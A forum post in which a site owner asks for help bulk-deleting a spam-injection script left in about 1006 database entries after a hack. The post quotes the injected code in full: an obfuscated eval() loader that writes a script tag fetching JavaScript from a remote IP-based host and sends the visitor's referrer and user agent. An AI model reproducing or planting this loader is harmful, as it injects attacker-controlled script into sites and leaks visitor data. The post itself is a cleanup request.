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Complex Query using special charecters

user1672
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user1672 Published in May 25, 2018, 11:12 am

Hopefully someone may have an easy solution here that I have not thought of, or a tool or something that can help, but I am at a total loss at this point.

I have a website I am working on that was recently hacked with a SPAM injection. Everything is secured now but I am tasked with cleaning up the remains of a script put on each page. The problem I am facing is that there are special characters used throughout the hack and escaping the special characters is proving to be very challenging.

I am also using a Query builder but even that is getting confused.

The code I am trying to remove is this:

<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php'.split('|'),0,{}))

As you can see once I start escaping characters I start to get lost. I was wondering if anyone has come across this and found an easier way.

I have successfully gone in an manually deleted the code directly in the database but unfortunately there is about 1006 locations and it just takes forever.

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